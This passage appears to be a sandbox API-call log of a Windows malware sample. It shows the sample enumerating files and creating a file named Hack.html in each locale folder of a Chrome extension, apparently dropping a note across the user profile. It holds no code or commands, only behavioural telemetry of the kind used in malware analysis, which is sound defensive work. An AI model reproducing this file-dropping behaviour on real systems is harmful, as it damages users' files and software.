0x1 [0072.951] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.952] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.952] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.952] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.953] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.953] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.953] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.953] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.953] GetFileType (hFile=0x174) returned 0x1 [0072.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.954] GetFileType (hFile=0x174) returned 0x1 [0072.954] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.955] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.955] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.955] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.955] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.955] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.955] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.955] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.956] GetFileType (hFile=0x174) returned 0x1 [0072.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.956] GetFileType (hFile=0x174) returned 0x1 [0072.957] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.957] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.958] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.958] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.958] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.958] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.958] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.958] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.958] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.958] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.958] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.958] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.958] GetFileType (hFile=0x174) returned 0x1 [0072.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.959] GetFileType (hFile=0x174) returned 0x1 [0072.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.960] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.960] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.960] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.960] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.960] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.960] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.960] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.961] GetFileType (hFile=0x174) returned 0x1 [0072.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.961] GetFileType (hFile=0x174) returned 0x1 [0072.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.963] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.963] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.963] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.963] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.963] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.963] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.963] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.964] GetFileType (hFile=0x174) returned 0x1 [0072.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.964] GetFileType (hFile=0x174) returned 0x1 [0072.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.965] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.965] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.965] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.966] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.966] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.966] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.966] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.966] GetFileType (hFile=0x174) returned 0x1 [0072.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.966] GetFileType (hFile=0x174) returned 0x1 [0072.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.968] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.968] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.968] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.968] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.969] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.969] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.969] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.969] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.969] GetFileType (hFile=0x174) returned 0x1 [0072.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.969] GetFileType (hFile=0x174) returned 0x1 [0072.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.971] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.971] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.971] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.971] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.971] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.971] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.971] GetFileType (hFile=0x174) returned 0x1 [0072.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.972] GetFileType (hFile=0x174) returned 0x1 [0072.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.973] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.974] GetFileType (hFile=0x174) returned 0x1 [0072.974] GetFileType (hFile=0x174) returned 0x1 [0072.975] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_br\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.975] GetFileType (hFile=0x174) returned 0x1 [0072.975] GetFileType (hFile=0x174) returned 0x1 [0072.981] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_pt\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.982] GetFileType (hFile=0x174) returned 0x1 [0072.982] GetFileType (hFile=0x174) returned 0x1 [0072.983] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.984] GetFileType (hFile=0x174) returned 0x1 [0072.984] GetFileType (hFile=0x174) returned 0x1 [0072.988] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.988] GetFileType (hFile=0x174) returned 0x1 [0072.988] GetFileType (hFile=0x174) returned 0x1 [0072.989] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.990] GetFileType (hFile=0x174) returned 0x1 [0072.990] GetFileType (hFile=0x174) returned 0x1 [0072.991] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.992] GetFileType (hFile=0x174) returned 0x1 [0072.992] GetFileType (hFile=0x174) returned 0x1 [0072.993] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.994] GetFileType (hFile=0x174) returned 0x1 [0072.994] GetFileType (hFile=0x174) returned 0x1 [0072.996] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.996] GetFileType (hFile=0x174) returned 0x1 [0072.996] GetFileType (hFile=0x174) returned 0x1 [0072.998] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.998] GetFileType (hFile=0x174) returned 0x1 [0072.998] GetFileType (hFile=0x174) returned 0x1 [0073.000] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0073.001] GetFileType (hFile=0x174) returned 0x1 [0073.001] GetFileType (hFile=0x174) returned 0x1 [0073.002] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0073.002] GetFileType (hFile=0x174) returned 0x1 [0073.002] GetFileType (hFile=0x174) returned 0x1 [0073.004] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0073.004] GetFileType (hFile=0x174) returned 0x1 [0073.005] GetFileType (hFile=0x174) returned 0x1 [0073.006] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_cn\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0073.006] GetFileType (hFile=0x174) returned 0x1 [0073.006] GetFileType (hFile=0x174) returned 0x1 [0073.007] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_tw\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, 